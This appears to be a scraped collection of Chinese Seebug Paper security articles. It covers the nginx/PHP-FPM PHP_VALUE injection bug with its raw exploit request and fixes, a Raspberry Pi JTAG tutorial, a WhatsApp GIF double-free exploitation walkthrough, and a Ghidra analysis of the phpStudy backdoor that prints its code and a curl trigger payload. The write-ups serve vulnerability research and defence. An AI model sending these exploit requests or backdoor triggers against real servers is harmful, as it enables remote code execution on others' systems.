12345GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: ubuntu.local:8080User-Agent: Mozilla/5.0D-Gisos: 8=====================================DEbut: mamku tvoyu在数据包中,header中的最后两部分就是为了完成这部分功能,其中
D-Gisos
负责位移,向指定的位置写入数据。而
Ebut
会转化为HTTP_EBUT
这个fastcgi_param
中的其中一个全局变量,然后我们需要了解一下fastcgi
中全局变量的获取数据的方法。可以看到当fastcgi想要获取全局变量时,会读取指定位置的长度字符做对比,然后读取一个字符串作为value.
也就是说,只要位置合理,var值相同,且长度相同,fastcgi就会读取相对应的数据。
而
HTTP_EBUT
和PHP_VALUE
恰好长度相同,我们可以从堆上数据的变化来印证这一点。在覆盖之前,该地址对应数据为
然后执行
fcgi_quick_putenv
该地址对应数据变为
我们成功写入了
PHP_VALUE
并控制其内容,这也就意味着我们可以控制PHP的任意全局变量。当我们可以控制PHP的任意全局变量就有很多种攻击方式,这里直接以EXP中使用到的攻击方式来举例子。
exp作者通过开启自动包含,并设置包含目录为
/tmp
,之后设置log地址为/tmp/a
并将payload写入log文件,通过auto_prepend_file
自动包含/tmp/a
文件构造后门文件。漏洞修复
在经过对漏洞的深入研究后,我们推荐两种方案修复这个漏洞。
- 临时修复:
修改nginx相应的配置,并在php相关的配置中加入
1try_files $uri =404在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。
- 正式修复:
- 将PHP 7.1.X更新至7.1.33 https://github.com/php/php-src/releases/tag/php-7.1.33
- 将PHP 7.2.X更新至7.2.24 https://github.com/php/php-src/releases/tag/php-7.2.24
- 将PHP 7.3.X更新至7.3.11 https://github.com/php/php-src/releases/tag/php-7.3.11
漏洞影响
结合EXP github中提到的利用条件,我们可以尽可能的总结利用条件以及漏洞影响范围。
1、Nginx + php_fpm,且配置
location ~ [^/]\.php(/|$)
会将请求转发到php-fpm。
2、Nginx配置fastcgi_split_path_info
并且以^
开始以$
,只有在这种条件下才可以通过换行符来打断正则表达式判断。 ps: 则允许index.php/321 -> index.php
1fastcgi_split_path_info ^(.+?\.php)(/.*)$;3、
fastcgi_param
中PATH_INFO
会被定义通过fastcgi_param PATH_INFO $fastcgi_path_info;
,当然这个变量会在fastcgi_params
默认定义。
4、在nginx层面没有定义对文件的检查比如try_files $uri =404
,如果nginx层面做了文件检查,则请求不会被转发给php-fmp。这个漏洞在实际研究过程中对真实世界危害有限,其主要原因都在于大部分的nginx配置中都携带了对文件的检查,且默认的nginx配置不包含这个问题。
但也正是由于这个原因,在许多网上的范例代码或者部分没有考虑到这个问题的环境,例如Nginx官方文档中的范例配置、NextCloud默认环境,都出现了这个问题,该漏洞也正真实的威胁着许多服务器的安全。
在这种情况下,这个漏洞也切切实实的陷入了黑暗森林法则,一旦有某个带有问题的配置被传播,其导致的可能就是大批量的服务受到牵连,确保及时的更新永远是对保护最好的手段:>
参考链接
- 漏洞issue
- 漏洞发现者提供的环境
- 漏洞exp
- 漏洞成因代码段
- 漏洞修复commit
- vulhub
- https://www.nginx.com/resources/wiki/start/topics/examples/phpfcgi/
- Seebug漏洞收录
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1063/
-
硬件学习之通过树莓派操控 jtag
作者:Hcamael@知道创宇404实验室
时间:2019年10月21日最近在搞路由器的时候,不小心把CFE给刷挂了,然后发现能通过jtag进行救砖,所以就对jtag进行了一波研究。
最开始只是想救砖,并没有想深入研究的想法。
救砖尝试
变砖的路由器型号为:LinkSys wrt54g v8
CPU 型号为:BCM5354
Flash型号为:K8D6316UBM
首先通过jtagulator得到了设备上jtag接口的顺序。
正好公司有一个jlink,但是参试了一波失败,识别不了设备。
随后通过Google搜到发现了一个工具叫: tjtag-pi
可以通树莓派来控制jtag,随后学习了一波树莓派的操作。
树莓派Pins
我使用的是rpi3,其接口编号图如下:
或者在树莓派3中可以使用
gpio readall
查看各个接口的状态:rpi3中的Python有一个
RPi.GPIO
模块,可以控制这些接口。举个例子:
1234>>> from RPi import GPIO>>> GPIO.setmode(GPIO.BCM)>>> GPIO.setup(2, GPIO.OUT)>>> GPIO.setup(3, GPIO.IN)首先是需要进行初始化GPIO的模式,BCM模式对应的针脚排序是上面图中橙色的部门。
然后可以对各个针脚进行单独设置,比如上图中,把2号针脚设置为输出,3号针脚设置为输入。
12>>> GPIO.output(2, 1)>>> GPIO.output(2, 0)使用output函数进行二进制输出
12>>> GPIO.input(3)1使用input函数获取针脚的输入。
我们可以用线把两个针脚连起来测试上面的代码。
将树莓派对应针脚和路由器的连起来以后,可以运行tjtag-pi程序。但是在运行的过程中却遇到了问题,经常会卡在写flash的时候。通过调整配置,有时是可以写成功的,但是CFE并没有被救回来,备份flash的数据,发现并没有成功写入数据。
因为使用轮子失败,所以我只能自己尝试研究和造轮子了。
jtag
首先是针脚,我见过的设备给jtag一般是提供了5 * 2以上的引脚。其中有一般都是接地引脚,另一半只要知道4个最重要的引脚。
这四个引脚一般情况下的排序是:
1234TDITDOTMSTCKTDI表示输入,TDO表示输出,TMS控制位,TCK时钟输入。
jtag大致架构如上图所示,其中TAP-Controller的架构如下图所示:
根据上面这两个架构,对jtag的原理进行讲解。
jtag的核心是TAP-Controller,通过解析TMS数据,来决定输入和输出的关系。所以我们先来看看TAP-Controller的架构。
从上面的图中我们可以发现,在任何状态下,输出5次1,都会回到
TEST LOGIC RESET
状态下。所以在使用jtag前,我们先通过TMS端口,发送5次为1的数据,jtag的状态机将会进入到RESET的复原状态。当TAP进入到
SHIFT-IR
的状态时,Instruction Register
将会开始接收TDI传入的数据,当输入结束后,进入到UPDATE-IR
状态时将会解析指令寄存器的值,随后决定输出什么数据。SHIFT-DR
则是控制数据寄存器,一般是在读写数据的时候需要使用。讲到这里,就出现一个问题了,TMS就一个端口,jtag如何知道TMS每次输入的值是多少呢?这个时候就需要用到TCK端口了,该端口可以称为时钟指令。当TCK从低频变到高频时,获取一比特TMS/TDI输入,TDO输出1比特。
比如我们让TAP进行一次复位操作:
1234for x in range(5):TCK 0TMS 1TCK 1再比如,我们需要给指令寄存器传入0b10:
1.复位
2.进入RUN-TEST/IDLE状态
123TCK 0TMS 0TCK 13.进入SELECT-DR-SCAN状态
123TCK 0TMS 1TCK 14.进入SELECT-IR-SCAN状态
123TCK 0TMS 1TCK 15.进入CAPTURE-IR状态
123TCK 0TMS 0TCK 16.进入SHIFT-IR状态
123TCK 0TMS 0TCK 17.输入0b10
12345678TCK 0TMS 0TDI 0TCK 1TCK 0TMS 1TDI 1TCK 0随后就是进入
EXIT-IR -> UPDATE-IR
根据上面的理论我们就可以通过写一个设置IR的函数:
123456789101112131415161718192021222324def clock(tms, tdi):tms = 1 if tms else 0tdi = 1 if tdi else 0GPIO.output(TCK, 0)GPIO.output(TMS, tms)GPIO.output(TDI, tdi)GPIO.output(TCK, 1)return GPIO.input(TDO)def reset():clock(1, 0)clock(1, 0)clock(1, 0)clock(1, 0)clock(1, 0)clock(0, 0)def set_instr(instr):clock(1, 0)clock(1, 0)clock(0, 0)clock(0, 0)for i in range(INSTR_LENGTH):clock(i==(INSTR_LENGTH - 1), (instr>>i)&1)clock(1, 0)clock(0, 0)把上面的代码理解清楚后,基本就理解了TAP的逻辑。接下来就是指令的问题了,指令寄存器的长度是多少?指令寄存器的值为多少时是有意义的?
不同的CPU对于上面的答案都不一样,通过我在网上搜索的结果,每个CPU应该都有一个bsd(boundary scan description)文件。本篇文章研究的CPU型号是
BCM5354
,但是我并没有在网上找到该型号CPU的bsd文件。我只能找了一个相同厂商不同型号的CPU的bsd文件进行参考。在该文件中我们能看到jtag端口在cpu端口的位置:
123456789101112"tck : B46 , " &"tdi : A57 , " &"tdo : B47 , " &"tms : A58 , " &"trst_b : A59 , " &attribute TAP_SCAN_RESET of trst_b : signal is true;attribute TAP_SCAN_IN of tdi : signal is true;attribute TAP_SCAN_MODE of tms : signal is true;attribute TAP_SCAN_OUT of tdo : signal is true;attribute TAP_SCAN_CLOCK of tck : signal is (2.5000000000000000000e+07, BOTH);能找到指令长度的定义:
1attribute INSTRUCTION_LENGTH of top: entity is 32;能找到指令寄存器的有效值:
12345678attribute INSTRUCTION_OPCODE of top: entity is"IDCODE (11111111111111111111111111111110)," &"BYPASS (00000000000000000000000000000000, 11111111111111111111111111111111)," &"EXTEST (11111111111111111111111111101000)," &"SAMPLE (11111111111111111111111111111000)," &"PRELOAD (11111111111111111111111111111000)," &"HIGHZ (11111111111111111111111111001111)," &"CLAMP (11111111111111111111111111101111) " ;当指令寄存器的值为
IDCODE
的时候,IDCODE寄存器的输出通道开启,我们来看看IDCODE寄存器:12345attribute IDCODE_REGISTER of top: entity is"0000" & -- version"0000000011011111" & -- part number"00101111111" & -- manufacturer's identity"1"; -- required by 1149.1从这里我们能看出IDCODE寄存器的固定输出为:
0b00000000000011011111001011111111
那我们怎么获取TDO的输出呢?这个时候数据寄存器DR就发挥作用了。
- TAP状态机切换到SHIFT-IR
- 输出IDCODE到IR中
- 切换到SHIFT-DR
- 获取INSTRUCTION_LENGTH长度的TDO输出值
- 退出
用代码形式的表示如下:
123456789101112131415161718def ReadWriteData(data):out_data = 0clock(1, 0)clock(0, 0)clock(0, 0)for i in range(32):out_bit = clock((i == 31), ((data >> i) & 1))out_data = out_data | (out_bit << i)clock(1,0)clock(0,0)return out_datadef ReadData():return ReadWriteData(0)def WriteData(data):ReadWriteData(data)def idcode():set_instr(INSTR_IDCODE)print(hex(self.ReadData()))因为我也是个初学者,边界扫描描述文件中的内容并不是都能看得懂,比如在边界扫描文件中并不能看出BYPASS指令是做什么的。但是在其他文档中,得知BYPASS寄存器一般是用来做测试的,在该寄存器中,输入和输出是直连,可以通过比较输入和输出的值,来判断端口是否连接正确。
另外还有边界扫描寄存器一大堆数据,也没完全研究透,相关的资料少的可怜。而且也找不到对应CPU的文档。
当研究到这里的时候,我只了解了jtag的基本原理,只会使用两个基本的指令(IDCODE, BYPASS)。但是对我修砖没任何帮助。
没办法,我又回头来看tjtag的源码,在tjtag中定义了几个指令寄存器的OPCODE:
123INSTR_ADDRESS = 0x08INSTR_DATA = 0x09INSTR_CONTROL = 0x0A照抄着tjtag中flash AMD的操作,可以成功对flash进行擦除,写入操作读取操作。但是却不知其原理。
这里分享下我的脚本:jtag.py
flash文档:https://www.dataman.com/media/datasheet/Samsung/K8D6x16UTM_K8D6x16UBM_rev16.pdf
接下来将会对该flash文档进行研究,并在之后的文章中分享我后续的研究成果。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1060/
-
WhatsApp UAF 漏洞分析(CVE-2019-11932)
作者:SungLin@知道创宇404实验室
时间:2019年10月23日0x00
新加坡安全研究员Awakened在他的博客中发布了这篇[0]对whatsapp的分析与利用的文章,其工具地址是[1],并且演示了rce的过程[2],只要结合浏览器或者其他应用的信息泄露漏洞就可以直接在现实中远程利用,并且Awakened在博客中也提到了:
1、攻击者通过任何渠道将GIF文件发送给用户其中之一可以是通过WhatsApp作为文档(例如,按“Gallery”按钮并选择“Document”以发送损坏的GIF)
如果攻击者在用户(即朋友)的联系人列表中,则损坏的GIF会自动下载,而无需任何用户交互。
2、用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此,用户按下“Gallery”按钮并打开WhatsApp Gallery以选择要发送给他的朋友的媒体文件。请注意,用户不必发送任何内容,因为仅打开WhatsApp Gallery就会触发该错误。按下WhatsApp Gallery后无需额外触摸。
3、由于WhatsApp会显示每个媒体(包括收到的GIF文件)的预览,因此将触发double-free错误和我们的RCE利用。
此漏洞将会影响WhatsApp版本2.19.244之前的版本,并且是Android 8.1和9.0的版本。
我们来具体分析调试下这个漏洞。
0x01
首先呢,当WhatsApp用户在WhatsApp中打开“Gallery”视图以发送媒体文件时,WhatsApp会使用一个本机库解析该库,
libpl_droidsonroids_gif.so
以生成GIF文件的预览。libpl_droidsonroids_gif.so
是一个开放源代码库,其源代码位于[3],新版本的已经修改了decoding函数,为了防止二次释放,在检测到传入gif帧大小为0的情况下就释放info->rasterBits
指针,并且返回了:而有漏洞的版本是如何释放两次的,并且还能利用,下面来调试跟踪下。
0x02
Whatsapp在解析gif图像时会调用
Java_pl_droidsonroids_gif_GifInfoHandle_openFile
进行第一次初始化,将会打开gif文件,并创建大小为0xa8的GifInfo结构体,然后进行初始化。之后将会调用
Java_pl_droidsonroids_gif_GifInfoHandle_renderFrame
对gif图像进行解析。关键的地方是调用了函数
DDGifSlurp(GifInfo *info, bool decode, bool exitAfterFrame)
并且传入decode的值为true,在未打补丁的情况下,我们可以如Awakened所说的,构造三个帧,连续两个帧的gifFilePtr->Image.Width
或者gifFilePtr->Image.Height
为0,可以导致reallocarray调用reallo调用free释放所指向的地址,造成double-free:然后android中free两次大小为0xa8内存后,下一次申请同样大小为0xa8内存时将会分配到同一个地址,然而在whatsapp中,点击gallery后,将会对一个gif显示两个Layout布局,将会对一张gif打开并解析两次,如下所示:
所以当第二次解析的时候,构造的帧大小为0xa8与GifInfo结构体大小是一致的,在解析时候将会覆盖GifInfo结构体所在的内存。
0x03
大概是这样,和博客那个流程大概一致:
第一次解析:
申请0xa8大小内存存储数据
第一次free
第二次free
..
.. 第二次解析:
申请0xa8大小内存存储info
申请0xa8大小内存存储gif数据->覆盖info
Free
Free
..
..
最后跳转info->rewindFunction(info)
X8寄存器滑到滑块指令
滑块执行我们的代码
0x04
制作的gif头部如下:
解析的时候首先调用
Java_pl_droidsonroids_gif_GifInfoHandle_openFile
创建一个GifInfo结构体,如下所示:我们使用提供的工具生成所需要的gif,所以说
newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height==0xa8
,第一帧将会分配0xa8大小数据第一帧头部如下:
接下来解析到free所需要的帧如下,
gifFilePtr->Image.Width
为0,gifFilePtr->Image.Height
为0xf1c,所以newRasterSize的大小将会为0,reallocarray(info->rasterBits, newRasterSize, sizeof(GifPixelType))
的调用将会free指向的info->rasterBits
:连续两次的free掉大小为x0寄存器指向的0x6FDE75C580地址,大小为0xa8,而x19寄存器指向的0x6FDE75C4C0,x19寄存器指向的就是Info结构体指针
第一次解析完后info结构体数据如下,
info->rasterBits
指针指向了0x6FDE75C580,而这里就是我们第一帧数据所在,大小为0xa8:经过reallocarray后将会调用DGifGetLine解码LZW编码并拷贝到分配内存:
第一帧数据如下,
info->rasterBits = 0x6FDE75C580
:在经过double-free掉0xa8大小内存后,第二次解析中,首先创建一个大小为0xa8的info结构体,之后将会调用DDGifSlurp解码gif,并为gif分配0xa8大小的内存,因为android的两次释放会导致两次分配同一大小内存指向同一地址特殊性,所以x0和x19都指向了0x6FDE75C580,x0是gif数据,x19是info结构体:
此时结构体指向0x6FDE75C580
之后经过DGifGetLine拷贝数据后,我们gif的第一帧数据将会覆盖掉0x6FDE75C580,最后运行到函数末尾,调用
info->rewindFunction(info)
:此时运行到了
info->rewindFunction(info)
,x19寄存器保存着我们覆盖了的info指针,此时x8寄存器指向了我们需要的指令,在libhwui中:
此时我们来分析下如何构造的数据,在我的本机上泄露了俩个地址,0x707d540804和0x707f3f11d8,如上所示,运行到
info->rewindFunction(info)
后,x19存储了我们覆盖的数据大小为0xa8,汇编代码如下:123LDR X8,[X19,#0X80]MOV X0,X19BLR X8所以我们需要泄露的第一个地址要放在X19+0X80处为0x707d540804,而0x707d540804的指令如下,所以以如下指令作为跳板执行我们的代码:
123LDR X8,[X19,#0X18]ADD X0,X19,#20BLR X8所以刚好我们x19+0x18放的是执行libc的system函数的地址0x707f3f11d8,而x19+20是我们执行的代码所在位置:
提供的测试小工具中,我们将会遍历lib库中的指令直到找到我们所需滑板指令的地址:
还有libc中的system地址,将这两个地址写入gif
跳转到libhwui后,此地址指令刚好和我们构造的数据吻合
X8寄存器指向了libc的system调用
X0寄存器指向我们将要运行的代码:
0x05
参考链接如下:
[0] https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce
[1] https://github.com/awakened1712/CVE-2019-11932
[2] https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
[3] https://github.com/koral--/android-gif-drawable/releases
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1061/
-
使用 Ghidra 分析 phpStudy 后门
作者:lu4nx@知道创宇404积极防御实验室
作者博客:《使用 Ghidra 分析 phpStudy 后门》这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。
1 工具和平台
主要工具:
- Kali Linux
- Ghidra 9.0.4
- 010Editor 9.0.2
样本环境:
- Windows7
- phpStudy 20180211
2 分析过程
先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中。
根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。
因此,先去找到有后门的文件:
12345678910lu4nx@lx-kali:/tmp/phpStudy$ find ./ -name php_xmlrpc.dll -exec md5sum {} \;3d2c61ed73e9bb300b52a0555135f2f7 ./PHPTutorial/php/php-7.2.1-nts/ext/php_xmlrpc.dll7c24d796e0ae34e665adcc6a1643e132 ./PHPTutorial/php/php-7.1.13-nts/ext/php_xmlrpc.dll3ff4ac19000e141fef07b0af5c36a5a3 ./PHPTutorial/php/php-5.4.45-nts/ext/php_xmlrpc.dllc339482fd2b233fb0a555b629c0ea5d5 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll5db2d02c6847f4b7e8b4c93b16bc8841 ./PHPTutorial/php/php-7.0.12-nts/ext/php_xmlrpc.dll42701103137121d2a2afa7349c233437 ./PHPTutorial/php/php-5.3.29-nts/ext/php_xmlrpc.dll0f7ad38e7a9857523dfbce4bce43a9e9 ./PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll149c62e8c2a1732f9f078a7d17baed00 ./PHPTutorial/php/php-5.5.38/ext/php_xmlrpc.dllfc118f661b45195afa02cbf9d2e57754 ./PHPTutorial/php/php-5.6.27-nts/ext/php_xmlrpc.dll将文件 ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll 单独拷贝出来,再确认下是否存在后门:
1234lu4nx@lx-kali:/tmp/phpStudy$ strings ./PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll | grep evalzend_eval_string@eval(%s('%s'));%s;@eval(%s('%s'));从上面的搜索结果可以看到文件中存在三个“eval”关键字,现在用 Ghidra 载入分析。
在 Ghidra 中搜索下:菜单栏“Search” > “For Strings”,弹出的菜单按“Search”,然后在结果过滤窗口中过滤“eval”字符串,如图:
从上方结果“Code”字段看的出这三个关键字都位于文件 Data 段中。随便选中一个(我选的“@eval(%s(‘%s’));”)并双击,跳转到地址中,然后查看哪些地方引用过这个字符串(右击,References > Show References to Address),操作如图:
结果如下:
可看到这段数据在 PUSH 指令中被使用,应该是函数调用,双击跳转到汇编指令处,然后 Ghidra 会自动把汇编代码转成较高级的伪代码并呈现在 Decompile 窗口中:
如果没有看到 Decompile 窗口,在菜单Window > Decompile 中打开。
在翻译后的函数 FUN_100031f0 中,我找到了前面搜索到的三个 eval 字符,说明这个函数中可能存在多个后门(当然经过完整分析后存在三个后门)。
这里插一句,Ghidra 转换高级代码能力比 IDA 的 Hex-Rays Decompiler 插件要差一些,比如 Ghidra 转换的这段代码:
123456puVar8 = local_19f;while (iVar5 != 0) {iVar5 = iVar5 + -1;*puVar8 = 0;puVar8 = puVar8 + 1;}在IDA中翻译得就很直观:
1memset(&v27, 0, 0xB0u);还有对多个逻辑的判断,IDA 翻译出来是:
123if (a && b){...}Ghidra 翻译出来却是:
1234if (a) {if(b) {}}而多层 if 嵌套阅读起来会经常迷路。总之 Ghidra 翻译的代码只有反复阅读后才知道是干嘛的,在理解这类代码上我花了好几个小时。
2.1 第一个远程代码执行的后门
第一个后门存在于这段代码:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);if (iVar5 != -1) {uVar6 = 0xffffffff;pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;do {if (uVar6 == 0) break;uVar6 = uVar6 - 1;cVar1 = *pcVar9;pcVar9 = pcVar9 + 1;} while (cVar1 != '\0');iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28);if (iVar5 != -1) {pcVar9 = s_gzip,deflate_1000ec74;pbVar4 = *(byte **)*local_28;pbVar7 = pbVar4;do {bVar2 = *pbVar7;bVar11 = bVar2 < (byte)*pcVar9;if (bVar2 != *pcVar9) {LAB_10003303:iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);goto LAB_10003308;}if (bVar2 == 0) break;bVar2 = pbVar7[1];bVar11 = bVar2 < ((byte *)pcVar9)[1];if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;pbVar7 = pbVar7 + 2;pcVar9 = (char *)((byte *)pcVar9 + 2);} while (bVar2 != 0);iVar5 = 0;LAB_10003308:if (iVar5 == 0) {uVar6 = 0xffffffff;pcVar9 = s__SERVER_1000ec9c;do {if (uVar6 == 0) break;uVar6 = uVar6 - 1;cVar1 = *pcVar9;pcVar9 = pcVar9 + 1;} while (cVar1 != '\0');iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);if (iVar5 != -1) {uVar6 = 0xffffffff;pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;do {if (uVar6 == 0) break;uVar6 = uVar6 - 1;cVar1 = *pcVar9;pcVar9 = pcVar9 + 1;} while (cVar1 != '\0');iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,&local_1c);if (iVar5 != -1) {uVar6 = 0xffffffff;pcVar9 = *(char **)*local_1c;do {if (uVar6 == 0) break;uVar6 = uVar6 - 1;cVar1 = *pcVar9;pcVar9 = pcVar9 + 1;} while (cVar1 != '\0');local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);if (local_10 != (undefined4 *)0x0) {iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);local_24 = *(undefined4 *)(iVar5 + 0x128);*(undefined **)(iVar5 + 0x128) = local_ec;iVar5 = _setjmp3(local_ec,0);uVar3 = local_24;if (iVar5 == 0) {zend_eval_string(local_10,0,&DAT_10012884,param_3);}else {*(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =local_24;}*(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;}}}}}}阅读起来非常复杂,大概逻辑就是通过 PHP 的
zend_hash_find
函数寻找$_SERVER
变量,然后找到 Accept-Encoding 和 Accept-Charset 两个 HTTP 请求头,如果 Accept-Encoding 的值为 gzip,deflate,就调用zend_eval_string
去执行 Accept-Encoding 的内容:1zend_eval_string(local_10,0,&DAT_10012884,param_3);这里 zend_eval_string 执行的是 local_10 变量的内容,local_10 是通过调用一个函数赋值的:
1local_10 = FUN_100040b0((int)*(char **)*local_1c,~uVar6 - 1);函数 FUN_100040b0 最后分析出来是做 Base64 解码的。
到这里,就知道该如何构造 Payload 了:
12Accept-Encoding: gzip,deflateAccept-Charset: Base64加密后的PHP代码朝虚拟机构造一个请求:
1$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6结果如图:
2.2 第二处后门
沿着伪代码继续分析,看到这一段代码:
12345678910111213141516171819202122232425262728293031323334353637383940if (iVar5 == 0) {puVar8 = &DAT_1000d66c;local_8 = &DAT_10012884;piVar10 = &DAT_1000d66c;do {if (*piVar10 == 0x27) {(&DAT_10012884)[iVar5] = 0x5c;(&DAT_10012885)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 2;piVar10 = piVar10 + 2;}else {(&DAT_10012884)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 1;piVar10 = piVar10 + 1;}puVar8 = puVar8 + 1;} while ((int)puVar8 < 0x1000e5c4);spprintf(&local_20,0,s_$V='%s';$M='%s';_1000ec3c,&DAT_100127b8,&DAT_10012784);spprintf(&local_8,0,s_%s;@eval(%s('%s'));_1000ec28,local_20,s_gzuncompress_1000d018,local_8);iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);local_10 = *(undefined4 **)(iVar5 + 0x128);*(undefined **)(iVar5 + 0x128) = local_6c;iVar5 = _setjmp3(local_6c,0);uVar3 = local_10;if (iVar5 == 0) {zend_eval_string(local_8,0,&DAT_10012884,param_3);}else {*(undefined4 **)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = local_10;}*(undefined4 *)(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =uVar3;return 0;}重点在这段:
1234567891011121314151617puVar8 = &DAT_1000d66c;local_8 = &DAT_10012884;piVar10 = &DAT_1000d66c;do {if (*piVar10 == 0x27) {(&DAT_10012884)[iVar5] = 0x5c;(&DAT_10012885)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 2;piVar10 = piVar10 + 2;}else {(&DAT_10012884)[iVar5] = *(undefined *)puVar8;iVar5 = iVar5 + 1;piVar10 = piVar10 + 1;}puVar8 = puVar8 + 1;} while ((int)puVar8 < 0x1000e5c4);变量 puVar8 是作为累计变量,这段代码像是拷贝地址 0x1000d66c 至 0x1000e5c4 之间的数据,于是选中切这行代码:
1puVar8 = &DAT_1000d66c;双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来:
- 选择菜单 Select > Bytes;
